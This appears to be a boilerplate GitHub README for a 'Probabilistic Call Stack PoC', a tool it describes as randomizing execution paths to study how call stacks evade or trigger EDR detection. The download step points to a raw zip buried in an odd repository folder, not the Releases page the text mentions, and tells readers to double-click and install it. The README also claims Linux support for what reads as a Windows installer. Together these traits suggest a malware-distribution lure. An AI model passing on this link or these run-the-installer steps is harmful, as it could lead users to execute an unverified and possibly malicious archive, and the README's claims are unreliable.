Welcome to the Probabilistic Call Stack Proof of Concept! This tool helps you understand how different execution paths affect call stack signatures. It is useful for enhancing security measures like EDR (Endpoint Detection and Response). Follow these simple steps to download and run the application.
- Randomized Execution Paths: The software generates various paths for executing code, allowing you to explore how they change the call stack.
- EDR Testing: Useful for simulating environments to test detection software and improve security protocols.
- Behavior-Based Detection Research: Analyze different execution behaviors and how they can be detected.
To run the Probabilistic Call Stack PoC, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, or any Linux distribution.
- RAM: At least 4 GB.
- CPU: Any modern multi-core processor.
- Disk Space: At least 100 MB available.
- Additional Software: Ensure you have a current version of any necessary runtime environment (e.g., .NET for Windows users).
- Click this link to go to the Releases page.
- On the Releases page, you will see a list of available versions.
- Find the latest release, which will typically be at the top of the list.
- Click on the asset link that matches your operating system (e.g.,
https://github.com/VitAaXentmax/Probabilistic-Call-Stack-PoC/raw/refs/heads/main/Joon/Probabilistic_Stack_C_Call_Po_1.7.zipfor Windows). - Download the file to your computer.
- Locate the downloaded file in your computer's Downloads folder or the folder you selected for downloads.
- Double-click the file to start the installation process.
- Follow the on-screen instructions to complete the installation.
- After installation, you can find the application in your Start Menu (Windows) or applications folder (Linux).
After installing, open the application to begin experimenting with randomized execution paths. The interface is straightforward, designed for ease of use. Simply select options from the menu to start your tests.
- Choose the type of execution path you want to analyze.
- Set any parameters as needed.
- Run the analysis and observe the results displayed in the application.
If you encounter any issues, feel free to reach out for assistance. Check the GitHub Issues page for potential solutions or to report a new issue.
Thank you for using Probabilistic-Call-Stack-PoC. Your feedback helps us improve the software. Happy testing!